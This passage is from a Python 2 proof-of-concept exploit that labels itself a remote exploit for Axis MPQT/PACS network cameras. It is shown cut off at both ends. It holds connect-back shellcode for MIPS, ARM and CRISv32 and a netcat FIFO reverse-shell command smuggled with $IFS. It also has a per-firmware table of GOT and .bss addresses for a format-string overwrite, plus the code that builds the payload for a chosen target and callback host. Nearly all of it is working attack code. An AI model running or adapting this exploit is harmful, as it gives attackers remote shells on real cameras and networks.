\n\"%01%ff%a5%34\" \n# \n\"%01%01%a5%20\" #addi a1,a1,257 \n\"%f8%ff%a5%af\" #sw a1,-8(sp) \n# \n# IP \n\"IP3IP4%05%3c\" \n\"IP1IP2%a5%34\" \n# \n\"%fc%ff%a5%af\" #sw a1,-4(sp) \n\"%f8%ff%a5%23\" #addi a1,sp,-8 \n\"%ef%ff%0c%24\" #li t4,-17 \n\"%27%30%80%01\" #nor a2,t4,zero \n\"%4a%10%02%24\" #li v0,4170 \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n# \n\"%62%69%08%3c\" #lui t0,0x6962 \n\"%2f%2f%08%35\" #ori t0,t0,0x2f2f \n\"%ec%ff%a8%af\" #sw t0,-20(sp) \n\"%73%68%08%3c\" #lui t0,0x6873 \n\"%6e%2f%08%35\" #ori t0,t0,0x2f6e \n\"%f0%ff%a8%af\" #sw t0,-16(sp \n\"%ff%ff%07%28\" #slti a3,zero,-1 \n\"%f4%ff%a7%af\" #sw a3,-12(sp) \n\"%fc%ff%a7%af\" #sw a3,-4(sp \n\"%ec%ff%a4%23\" #addi a0,sp,-20 \n\"%ec%ff%a8%23\" #addi t0,sp,-20 \n\"%f8%ff%a8%af\" #sw t0,-8(sp) \n\"%f8%ff%a5%23\" #addi a1,sp,-8 \n\"%ec%ff%bd%27\" #addiu sp,sp,-20 \n\"%ff%ff%06%28\" #slti a2,zero,-1 \n\"%ab%0f%02%24\" #li v0,4011 (execve) \n\"%4c%f7%f7%03\" #syscall 0xdfdfd \n], '') \n \n# Working netcat shell \n# - $PATH will locate 'mkfifo', 'nc' and 'rm' \n# - LHOST / LPORT will be changed on the fly later in the code \n# - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting \n# - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator] \n# $ echo -n \"$IFS\" | hexdump -C \n# 00000000 20 09 0a \n# - $PS1 = $ [By default, and we need something to \"comment\" out our trailing FMS code from /bin/sh -c] \n# \n# '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator \n# \n# Working with Apache and Boa \n# NCSH = \"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\\\"5\\\"$IFS\\\"LHOST\\\"$IFS\\\"LPORT\\\"$IFS0</tmp/s|/bin/sh>/tmp/s\\\"$IFS\\\"2>/tmp/s;rm$IFS/tmp/s;$PS1\" \nNCSH = \"mkfifo$IFS/tmp/s;nc$IFS-w$IFS\\\"5\\\"$IFS\\\"LHOST\\\"$IFS\\\"LPORT\\\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1\" \n \nARMel = string.join([ \n# original: http://shell-storm.org/shellcode/files/shellcode-754.php \n# 32-bit instructions, enter thumb mode \n\"%01%10%8f%e2\" # add r1, pc, #1 \n\"%11%ff%2f%e1\" # bx r1 \n \n# 16-bit thumb instructions follow \n# \n# socket(2, 1, 0) \n\"%02%20\" #mov r0, #2 \n\"%01%21\" #mov r1, #1 \n\"%92%1a\" #sub r2, r2, r2 \n\"%0f%02\" #lsl r7, r1, #8 \n\"%19%37\" #add r7, r7, #25 \n\"%01%df\" #svc 1 \n# \n# connect(r0, &addr, 16) \n\"%06%1c\" #mov r6, r0 \n\"%08%a1\" #add r1, pc, #32 \n\"%10%22\" #mov r2, #16 \n\"%02%37\" #add r7, #2 \n\"%01%df\" #svc 1 \n# \n# dup2(r0, 0/1/2) \n\"%3f%27\" #mov r7, #63 \n\"%02%21\" #mov r1, #2 \n# \n#lb: \n\"%30%1c\" #mov r0, r6 \n\"%01%df\" #svc 1 \n\"%01%39\" #sub r1, #1 \n\"%fb%d5\" #bpl lb \n# \n# execve(\"/bin/sh\", [\"/bin/sh\", 0], 0) \n\"%05%a0\" #add r0, pc, #20 \n\"%92%1a\" #sub r2, r2, r2 \n\"%05%b4\" #push {r0, r2} \n\"%69%46\" #mov r1, sp \n\"%0b%27\" #mov r7, #11 \n\"%01%df\" #svc 1 \n# \n\"%c0%46\" # .align 2 (NOP) \n\"%02%00\" # .short 0x2 (struct sockaddr) \n\"PP1PP0\" # .short 0x3412 (port: 0x1234) \n\"IP1IP2IP3IP4\" #.byte 192,168,57,1 (ip: 192.168.57.1) \n# .ascii \"/bin/sh\\0\\0\" \n\"%2f%62%69%6e\" # /bin \n\"%2f%73%68%00%00\" # /sh\\x00\\x00 \n\"%00%00%00%00\" \n\"%c0%46\" \n], '') \n \n \n# Connect-back shell for Axis CRISv32 \n# Written by mcw noemail eu 2016 \n# \nCRISv32 = string.join([ \n#close(0) \n\"%7a%86\" # clear.d r10 \n\"%5f%9c%06%00\" # movu.w 0x6,r9 \n\"%3d%e9\" # break 13 \n#close(1) \n\"%41%a2\" # moveq 1,r10 \n\"%5f%9c%06%00\" # movu.w 0x6,r9 \n\"%3d%e9\" # break 13 \n#close(2) \n\"%42%a2\" # moveq 2,r10 \n\"%5f%9c%06%00\" # movu.w 0x6,r9 \n\"%3d%e9\" # break 13 \n# \n\"%10%e1\" # addoq 16,sp,acr \n\"%42%92\" # moveq 2,r9 \n\"%df%9b\" # move.w r9,[acr] \n\"%10%e1\" # addoq 16,sp,acr \n\"%02%f2\" # addq 2,acr \n#PORT \n\"%5f%9ePP1PP0\" # move.w 0xPP1PP0,r9 # \n\"%df%9b\" # move.w r9,[acr] \n\"%10%e1\" # addoq 16,sp,acr \n\"%6f%96\" # move.d acr,r9 \n\"%04%92\" # addq 4,r9 \n#IP \n\"%6f%feIP1IP2IP3IP4\" # move.d IP4IP3IP2IP1,acr \n\"%e9%fb\" # move.d acr,[r9] \n# \n#socket() \n\"%42%a2\" # moveq 2,r10 \n\"%41%b2\" # moveq 1,r11 \n\"%7c%86\" # clear.d r12 \n\"%6e%96\" # move.d $sp,$r9 \n\"%e9%af\" # move.d $r10,[$r9+] \n\"%e9%bf\" # move.d $r11,[$r9+] \n\"%e9%cf\" # move.d $r12,[$r9+] \n\"%41%a2\" # moveq 1,$r10 \n\"%6e%b6\" # move.d $sp,$r11 \n\"%5f%9c%66%00\" # movu.w 0x66,$r9 \n\"%3d%e9\" # break 13 \n# \n\"%6a%96\" # move.d $r10,$r9 \n\"%0c%e1\" # addoq 12,$sp,$acr \n\"%ef%9b\" # move.d $r9,[$acr] \n\"%0c%e1\" # addoq 12,$sp,$acr \n\"%6e%96\" # move.d $sp,$r9 \n\"%10%92\" # addq 16,$r9 \n\"%6f%aa\" # move.d [$acr],$r10 \n\"%69%b6\" # move.d $r9,$r11 \n\"%50%c2\" # moveq 16,$r12 \n# \n# connect() \n\"%6e%96\" # move.d $sp,$r9 \n\"%e9%af\" # move.d $r10,[$r9+] \n\"%e9%bf\" # move.d $r11,[$r9+] \n\"%e9%cf\" # move.d $r12,[$r9+] \n\"%43%a2\" # moveq 3,$r10 \n\"%6e%b6\" # move.d $sp,$r11 \n\"%5f%9c%66%00\" # movu.w 0x66,$r9 \n\"%3d%e9\" # break 13 \n# dup(0) already in socket \n#dup(1) \n\"%6f%aa\" # move.d [$acr],$r10 \n\"%41%b2\" # moveq 1,$r11 \n\"%5f%9c%3f%00\" # movu.w 0x3f,$r9 \n\"%3d%e9\" # break 13 \n# \n#dup(2) \n\"%6f%aa\" # move.d [$acr],$r10 \n\"%42%b2\" # moveq 2,$r11 \n\"%5f%9c%3f%00\" # movu.w 0x3f,$r9 \n\"%3d%e9\" # break 13 \n# \n#execve(\"/bin/sh\",NULL,NULL) \n\"%90%e2\" # subq 16,$sp \n\"%6e%96\" # move.d $sp,$r9 \n\"%6e%a6\" # move.d $sp,$10 \n\"%6f%0e%2f%2f%62%69\" # move.d 69622f2f,$r0 \n\"%e9%0b\" # move.d $r0,[$r9] \n\"%04%92\" # addq 4,$r9 \n\"%6f%0e%6e%2f%73%68\" # move.d 68732f6e,$r0 \n\"%e9%0b\" # move.d $r0,[$r9] \n\"%04%92\" # addq 4,$r9 \n\"%79%8a\" # clear.d [$r9] \n\"%04%92\" # addq 4,$r9 \n\"%79%8a\" # clear.d [$r9] \n\"%04%92\" # addq 4,$r9 \n\"%e9%ab\" # move.d $r10,[$r9] \n\"%04%92\" # addq 4,$r9 \n\"%79%8a\" # clear.d [$r9] \n\"%10%e2\" # addq 16,$sp \n\"%6e%f6\" # move.d $sp,$acr \n\"%6e%96\" # move.d $sp,$r9 \n\"%6e%b6\" # move.d $sp,$r11 \n\"%7c%86\" # clear.d $r12 \n\"%4b%92\" # moveq 11,$r9 \n\"%3d%e9\" # break 13 \n], '') \n \n \nif self.target == 'MIPSel': \nreturn MIPSel \nelif self.target == 'ARMel': \nreturn ARMel \nelif self.target == 'CRISv32': \nreturn CRISv32 \nelif self.target == 'NCSH1': \nreturn NCSH \nelif self.target == 'NCSH2': \nreturn NCSH \nelse: \nprint \"[!] Unknown shellcode! (%s)\" % str(self.target) \nsys.exit(1) \n \n \nclass FMSdb: \n \ndef __init__(self,targetIP,verbose): \nself.targetIP = targetIP \nself.verbose = verbose \n \ndef FMSkey(self,target): \nself.target = target \n \ntarget_db = { \n \n#----------------------------------------------------------------------- \n# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH) \n#----------------------------------------------------------------------- \n \n# \n# Using POP format string, AKA 'Old Style' \n# \n# MPQT \n'MIPS-5.85.x': [ \n0x41f370, # Adjust to GOT free() address \n0x420900, # .bss shellcode address \n2, # 1st POP's \n2, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-5.40.3': [ \n0x41e41c, # Adjust to GOT free() address \n0x4208cc, # .bss shellcode address \n7, # 1st POP's \n11, # 2nd POP's \n'ax', # Aligns injected code \n450, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-5.4x': [ \n0x41e4cc, # Adjust to GOT free() address \n0x42097c, # .bss shellcode address \n7, # 1st POP's \n11, # 2nd POP's \n'ax', # Aligns injected code \n450, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-5.5x': [ \n0x41d11c, # Adjust to GOT free() address \n0x41f728, # .bss shellcode address \n5, # 1st POP's \n15, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-5.55x': [ \n0x41d11c, # Adjust to GOT free() address \n0x41f728, # .bss shellcode address \n11, # 1st POP's \n9, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# Shared with MPQT and PACS \n'MIPS-5.6x': [ \n0x41d048, # Adjust to GOT free() address \n0x41f728, # .bss shellcode address \n5, # 1st POP's \n15, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n \n], \n \n# MPQT \n'MIPS-5.7x': [ \n0x41d04c, # Adjust to GOT free() address \n0x41f718, # .bss shellcode address \n2, # 1st POP's \n14, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-5.75x': [ \n0x41c498, # Adjust to GOT free() address \n0x41daf0, # .bss shellcode address \n3, # 1st POP's \n13, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# Shared with MPQT and PACS \n'MIPS-5.8x': [ \n0x41d0c0, # Adjust to GOT free() address \n0x41e740, # .bss shellcode address \n3, # 1st POP's \n13, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-5.9x': [ \n0x41d0c0, # Adjust to GOT free() address \n0x41e750, # .bss shellcode address \n3, # 1st POP's \n13, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-6.1x': [ \n0x41c480, # Adjust to GOT free() address \n0x41dac0, # .bss shellcode address \n3, # 1st POP's \n13, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-6.2x': [ \n0x41e578, # Adjust to GOT free() address \n0x41fae0, # .bss shellcode address \n2, # 1st POP's \n2, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# MPQT \n'MIPS-6.20x': [ \n0x41d0c4, # Adjust to GOT free() address \n0x41e700, # .bss shellcode address \n3, # 1st POP's \n13, # 2nd POP's \n'axi', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# PACS \n'MIPS-1.3x': [ \n0x41e4cc, # Adjust to GOT free() address \n0x420a78, # .bss shellcode address \n7, # 1st POP's \n11, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# PACS \n'MIPS-1.1x': [ \n0x41e268, # Adjust to GOT free() address \n0x420818, # .bss shellcode address \n7, # 1st POP's \n11, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'MIPSel' # Shellcode type \n], \n \n# \n# Tested with execstack to set executable stack flag bit on bin's and lib's \n# \n# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working. \n# \n \n# ARMel with bin/libs executable stack flag set with 'execstack' \n# MPQT \n'ARM-5.50x': [ # \n0x1c1b4, # Adjust to GOT free() address \n0x1e7c8, # .bss shellcode address \n93, # 1st POP's \n1, # 2nd POP's \n'axis', # Aligns injected code \n700, # How big buffer before shellcode \n'ARMel' # Shellcode type (ARMel) \n], \n \n# ARMel with bin/libs executable stack flag set with 'execstack' \n# MPQT \n'ARM-5.55x': [ # \n0x1c15c, # Adjust to GOT free() address \n0x1e834, # .bss shellcode address \n59, # 1st POP's \n80, # 2nd POP's \n'axis', # Aligns injected code \n800, # How big buffer before shellcode \n'ARMel' # Shellcode type (ARMel) \n], \n \n# \n# Using direct parameter access format string, AKA 'New Style' \n# \n# MPQT \n'ARM-NCSH-5.20x': [ # AXIS P1311 5.20 (id=root) \n0x1c1b4, # Adjust to GOT free() address \n0x10178, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n61, # 1st POP's \n115, # 2nd POP's \n143, # 3rd POP's \n118, # 4th POP's \n'NCSH2' # Shellcode type (Netcat Shell) \n], \n \n# MPQT \n'ARM-NCSH-5.2x': [ # \n0x1c1b4, # Adjust to GOT free() address \n0x1013c, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n61, # 1st POP's \n115, # 2nd POP's \n143, # 3rd POP's \n118, # 4th POP's \n'NCSH2' # Shellcode type (Netcat Shell) \n], \n \n# MPQT \n'ARM-NCSH-5.4x': [ # \n0x1c1b4, # Adjust to GOT free() address \n0x101fc, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n61, # 1st POP's \n115, # 2nd POP's \n143, # 3rd POP's \n118, # 4th POP's \n'NCSH2' # Shellcode type (Netcat Shell) \n], \n# \n# Using POP format string, AKA 'Old Style' \n# \n \n# MPQT \n'ARM-NCSH-5.5x': [ # \n0x1c15c, # Adjust to GOT free() address \n0xfdcc, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n97, # 1st POP's \n0, # 2nd POP's \n41, # 3rd POP's \n0, # 4th POP's \n'NCSH1' # Shellcode type (Netcat Shell) \n], \n \n# MPQT \n'ARM-NCSH-5.6x': [ # \n0x1c15c, # Adjust to GOT free() address \n0xfcec, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n97, # 1st POP's \n0, # 2nd POP's \n41, # 3rd POP's \n0, # 4th POP's \n'NCSH1' # Shellcode type (Netcat Shell) \n], \n \n# MPQT \n'ARM-NCSH-5.7x': [ # \n0x1c1c0, # Adjust to GOT free() address \n0xf800, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n132, # 1st POP's \n0, # 2nd POP's \n34, # 3rd POP's \n0, # 4th POP's \n'NCSH1' # Shellcode type (Netcat Shell) \n], \n \n# Will go in endless loop after exit of nc shell... DoS sux \n# MPQT \n'ARM-NCSH-5.8x': [ # \n0x1b39c, # Adjust to GOT free() address \n0xf8c0, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n98, # 1st POP's \n0, # 2nd POP's \n34, # 3rd POP's \n1, # 4th POP's \n'NCSH1' # Shellcode type (Netcat Shell) \n], \n \n# MPQT \n'ARM-NCSH-6.1x': [ # \n0x1d2a4, # Adjust to GOT free() address \n# 0xecc4, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n0xecc8, # Adjust to \"/bin/sh -c; pipe(); vfork(); execve()\" \n106, # 1st POP's \n0, # 2nd POP's \n34, # 3rd POP's \n1, # 4th POP's \n'NCSH1' # Shellcode type (Netcat Shell) \n], \n# \n# Using POP format string, AKA 'Old Style' \n# \n \n# MPQT \n'CRISv32-5.5x': [ # \n0x8d148, # Adjust to GOT free() address \n0x8f5a8, # .bss shellcode address \n4, # 1st POP's \n13, # 2nd POP's \n'axis', # Aligns injected code \n470, # How big buffer before shellcode \n'CRISv32' # Shellcode type (Crisv32) \n], \n \n# MPQT \n'CRISv32-5.4x': [ # \n0x8d0e0, # Adjust to GOT free() address \n0x8f542, # .bss shellcode address \n4, # 1st POP's \n13, # 2nd POP's \n'axis', # Aligns injected code \n470, # How big buffer before shellcode \n'CRISv32' # Shellcode type (Crisv32) \n], \n \n# MPQT \n'CRISv32-5.2x': [ # \n0x8d0b4, # Adjust to GOT free() address \n0x8f4d6, # .bss shellcode address \n4, # 1st POP's \n13, # 2nd POP's \n'axis', # Aligns injected code \n470, # How big buffer before shellcode \n'CRISv32' # Shellcode type (Crisv32) \n], \n \n# MPQT \n'CRISv32-5.20.0': [ # \n0x8d0e4, # Adjust to GOT free() address \n0x8f546, # .bss shellcode address \n4, # 1st POP's \n13, # 2nd POP's \n'axis', # Aligns injected code \n470, # How big buffer before shellcode \n'CRISv32' # Shellcode type (Crisv32) \n] \n \n \n} \n \nif self.target == 0: \nreturn target_db \n \nif not self.target in target_db: \nprint \"[!] Unknown FMS key: %s!\" % self.target \nsys.exit(1) \n \nif self.verbose: \nprint \"[Verbose] Number of availible FMS keys:\",len(target_db) \n \nreturn target_db \n \n \n# \n# Validate correctness of HOST, IP and PORT \n# \nclass Validate: \n \ndef __init__(self,verbose): \nself.verbose = verbose \n \n# Check if IP is valid \ndef CheckIP(self,IP): \nself.IP = IP \n \nip = self.IP.split('.') \nif len(ip) != 4: \nreturn False \nfor tmp in ip: \nif not tmp.isdigit(): \nreturn False \ni = int(tmp) \nif i < 0 or i > 255: \nreturn False \nreturn True \n \n# Check if PORT is valid \ndef Port(self,PORT): \nself.PORT = PORT \n \nif int(self.PORT) < 1 or int(self.PORT) > 65535: \nreturn False \nelse: \nreturn True \n \n# Check if HOST is valid \ndef Host(self,HOST): \nself.HOST = HOST \n \ntry: \n# Check valid IP \nsocket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP \n# Or we check again if it is correct typed IP \nif self.CheckIP(self.HOST): \nreturn self.HOST \nelse: \nreturn False \nexcept socket.error as e: \n# Else check valid DNS name, and use the IP address \ntry: \nself.HOST = socket.gethostbyname(self.HOST) \nreturn self.HOST \nexcept socket.error as e: \nreturn False \n \n \n \nif __name__ == '__main__': \n \n# \n# Help, info and pre-defined values \n# \nINFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]' \nHTTP = \"http\" \nHTTPS = \"https\" \nproto = HTTP \nverbose = False \nnoexploit = False \nlhost = '192.168.0.1' # Default Local HOST \nlport = '31337' # Default Local PORT \nrhost = '192.168.0.90' # Default Remote HOST \nrport = '80' # Default Remote PORT \n# Not needed for the SSI exploit, here for possible future usage. \n# creds = 'root:pass' \ncreds = False \n \n# \n# Try to parse all arguments \n# \ntry: \narg_parser = argparse.ArgumentParser( \n# prog=sys.argv[0], \nprog='axis-ssid-PoC.py', \ndescription=('[*]' + INFO + '\\n')) \narg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']') \narg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']') \narg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']') \narg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']') \narg_parser.add_argument('--fms', required=False, help='Manual FMS key') \nif creds: \narg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']') \narg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]') \narg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') \narg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') \narg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose') \nargs = arg_parser.parse_args() \nexcept Exception as e: \nprint INFO,\"\\nError: %s\\n\" % str(e) \nsys.exit(1) \n \n# We want at least one argument, so print out help \nif len(sys.argv) == 1: \narg_parser.parse_args(['-h']) \n \nprint \"\\n[*]\",INFO \n \nif args.verbose: \nverbose = args.verbose \n \n# Print out info from dictionary \nif args.dict: \ntarget = FMSdb(rhost,verbose).FMSkey(0) \nprint \"[db] Number of FMS keys:\",len(target) \n \n# Print out detailed info from dictionary \nif verbose: \n \nprint \"[db] Target details of FMS Keys availible for manual xploiting\" \nprint \"\\n[FMS Key]\\t[GOT Address]\\t[BinSh Address]\\t[POP1]\\t[POP2]\\t[POP3]\\t[POP4]\\t[Shellcode]\" \n \nfor tmp in range(0,len(target)): \nKey = sorted(target.keys())[tmp] \ntemp = re.split('[-]',Key)[0:10] \n \nif temp[1] == 'NCSH': \nprint Key,'\\t','0x{:08x}'.format(target[Key][0]),'\\t','0x{:08x}'.format(target[Key][1]),'\\t',target[Key][2],'\\t',target[Key][3],'\\t',target[Key][4],'\\t',target[Key][5],'\\t',target[Key][6] \n \nprint \"\\n[FMS Key]\\t[GOT Address]\\t[BSS Address]\\t[POP1]\\t[POP2]\\t[Align]\\t[Buf]\\t[Shellcode]\" \nfor tmp in range(0,len(target)): \nKey = sorted(target.keys())[tmp] \ntemp = re.split('[-]',Key)[0:10] \n \nif temp[1] != 'NCSH': \nprint Key,'\\t','0x{:08x}'.format(target[Key][0]),'\\t','0x{:08x}'.format(target[Key][1]),'\\t',target[Key][2],'\\t',target[Key][3],'\\t',len(target[Key][4]),'\\t',target[Key][5],'\\t',target[Key][6] \n \nprint \"\\n\" \nelse: \nprint \"[db] Target FMS Keys availible for manual xploiting instead of using auto mode:\" \nKey = \"\" \nfor tmp in range(0,len(target)): \nKey += sorted(target.keys())[tmp] \nKey += ', ' \nprint '\\n',Key,'\\n' \nsys.exit(0) \n \n# \n# Check validity, update if needed, of provided options \n# \nif args.https: \nproto = HTTPS \nif not args.rport: \nrport = '443' \n \nif creds and args.auth: \ncreds = args.auth \n \nif args.noexploit: \nnoexploit = args.noexploit \n \nif args.rport: \nrport = args.rport \n \nif args.rhost: \nrhost = args.rhost \n \nif args.lport: \nlport = args.lport \n \nif args.lhost: \nlhost = args.lhost \n \n# Check if LPORT is valid \nif not Validate(verbose).Port(lport): \nprint \"[!] Invalid LPORT - Choose between 1 and 65535\" \nsys.exit(1) \n \n# Check if RPORT is valid \nif not Validate(verbose).Port(rport): \nprint \"[!] Invalid RPORT - Choose between 1 and 65535\" \nsys.exit(1) \n \n# Check if LHOST is valid IP or FQDN, get IP back \nlhost = Validate(verbose).Host(lhost) \nif not lhost: \nprint \"[!] Invalid LHOST\" \nsys.exit(1) \n \n# Check if RHOST is valid IP or FQDN, get IP back \nrhost = Validate(verbose).Host(rhost) \nif not rhost: \nprint \"[!] Invalid RHOST\" \nsys.exit(1) \n \n \n# \n# Validation done, start print out stuff to the user \n# \nif noexploit: \nprint \"[i] Test mode selected, no exploiting...\" \nif args.https: \nprint \"[i] HTTPS / SSL Mode Selected\" \nprint \"[i] Remote target IP:\",rhost \nprint \"[i] Remote target PORT:\",rport \nprint \"[i] Connect back IP:\",lhost \nprint \"[i] Connect back PORT:\",lport \n \nrhost = rhost + ':' + rport \n \n# \n# FMS key is required into this PoC \n# \nif not args.fms: \nprint \"[!] FMS key is required!\" \nsys.exit(1) \nelse: \nKey = args.fms \nprint \"[i] Trying with FMS key:\",Key \n \n# \n# Prepare exploiting \n# \n# Look up the FMS key in dictionary and return pointer for FMS details to use \ntarget = FMSdb(rhost,verbose).FMSkey(Key) \n \nif target[Key][6] == 'NCSH1': \nNCSH1 = target[Key][6] \nNCSH2 = \"\" \nelif target[Key][6] == 'NCSH2': \nNCSH2 = target[Key][6] \nNCSH1 = \"\" \nelse: \nNCSH1 = \"\" \nNCSH2 = \"\" \n \nif Key == 'ARM-NCSH-5.8x': \nprint \"\\nExploit working, but will end up in endless loop after exiting remote NCSH\\nDoS sux, so I'm exiting before that shit....\\n\\n\" \nsys.exit(0) \n \nprint \"[i] Preparing shellcode:\",str(target[Key][6]) \n \n# We don't use url encoded shellcode with Netcat shell \n# This is for MIPS/CRISv32 and ARM shellcode \nif not NCSH1 and not NCSH2: \nFMSdata = target[Key][4] # This entry aligns the injected shellcode \n \n# Building up the url encoded shellcode for sending to the target, \n# and replacing LHOST / LPORT in shellcode to choosen values \n \n# part of first 500 decoded bytes will be overwritten during stage #2, and since \n# there is different 'tailing' on the request internally, keep it little more than needed, to be safe. \n# Let it be 0x00, just for fun. \nFMSdata += '%00' * target[Key][5] \n \n# Connect back IP to url encoded \nip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.'))) \nip_hex = ip_hex.split() \nIP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3]; \n \n# Let's break apart the hex code of LPORT into two bytes \nport_hex = hex(int(lport))[2:] \nport_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2) \nport_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2)) \nport_hex = port_hex.split() \n \nif (target[Key][6]) == 'MIPSel': \n# Connect back PORT \nif len(port_hex) == 1: \nPP1 = \"%ff\" \nPP0 = '%{:02x}'.format((int(port_hex[0],16)-1)) \nelif len(port_hex) == 2: \n# Little Endian \nPP1 = '%{:02x}'.format((int(port_hex[0],16)-1)) \nPP0 = '%{:02x}'.format(int(port_hex[1],16)) \nelif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32 \n# Connect back PORT \nif len(port_hex) == 1: \nPP1 = \"%00\" \nPP0 = '%{:02x}'.format(int(port_hex[0],16)) \nelif len(port_hex) == 2: \n# Little Endian \nPP1 = '%{:02x}'.format(int(port_hex[0],16)) \nPP0 = '%{:02x}'.format(int(port_hex[1],16)) \nelif (target[Key][6]) == 'CRISv32': \n# Connect back PORT \nif len(port_hex) == 1: \nPP1 = \"%00\" \nPP0 = '%{:02x}'.format(int(port_hex[0],16)) \nelif len(port_hex) == 2: \n# Little Endian \nPP1 = '%{:02x}'.format(int(port_hex[0],16)) \nPP0 = '%{:02x}'.format(int(port_hex[1],16)) \nelse: \nprint \"[!] Unknown shellcode! (%s)\" % str(target[Key][6]) \nsys.exit(1) \n \n# Replace LHOST / LPORT in URL encoded shellcode \nshell = shellcode_db(rhost,verbose).sc(target[Key][6]) \nshell = shell.replace(\"IP1\",IP1) \nshell = shell.replace(\"IP2\",IP2) \nshell = shell.replace(\"IP3\",IP3) \nshell = shell.replace(\"IP4\",IP4) \nshell = shell.replace(\"PP0\",PP0) \nshell = shell.replace(\"PP1\",PP1) \nFMSdata += shell \n \n# \n# Calculate the FMS values to be used \n# \n# Get pre-defined values \nALREADY_WRITTEN = 40 # Already 'written' in the daemon before our FMS \n# POP_SIZE = 8 \nPOP_SIZE = 1 \n \nGOThex = target[Key][0] \nBSShex = target[Key][1] \nGOTint = int(GOThex) \n \n# 'One-Write-Where-And-What' \nif not NCSH1 and not NCSH2: \n \nPOP1 = target[Key][2] \nPOP2 = target[Key][3] \n \n# Calculate for creating the FMS code \nALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE) \nGOTint = (GOTint - ALREADY_WRITTEN) \n \nALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE) \n \nBSSint = int(BSShex) \nBSSint = (BSSint - GOTint - ALREADY_WRITTEN) \n \n# if verbose: \n# print \"[Verbose] Calculated GOTint:\",GOTint,\"Calculated BSSint:\",BSSint \n \n# 'Two-Write-Where-And-What' using \"New Style\" \nelif NCSH2: \n \nPOP1 = target[Key][2] \nPOP2 = target[Key][3] \nPOP3 = target[Key][4] \nPOP4 = target[Key][5] \nPOP2_SIZE = 2 \n \n# We need to count higher than provided address for the jump \nBaseAddr = 0x10000 + BSShex \n \n# Calculate for creating the FMS code \nGOTint = (GOTint - ALREADY_WRITTEN) \n \nALREADY_WRITTEN = ALREADY_WRITTEN + GOTint \n \n# Calculate FirstWhat value \nFirstWhat = BaseAddr - (ALREADY_WRITTEN) \n \nALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat \n \n# Calculate SecondWhat value, so it always is 0x20300 \nSecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE) \n \nshell = shellcode_db(rhost,verbose).sc(target[Key][6]) \nshell = shell.replace(\"LHOST\",lhost) \nshell = shell.replace(\"LPORT\",lport) \n \nFirstWhat = FirstWhat - len(shell) \n \n# if verbose: \n# print 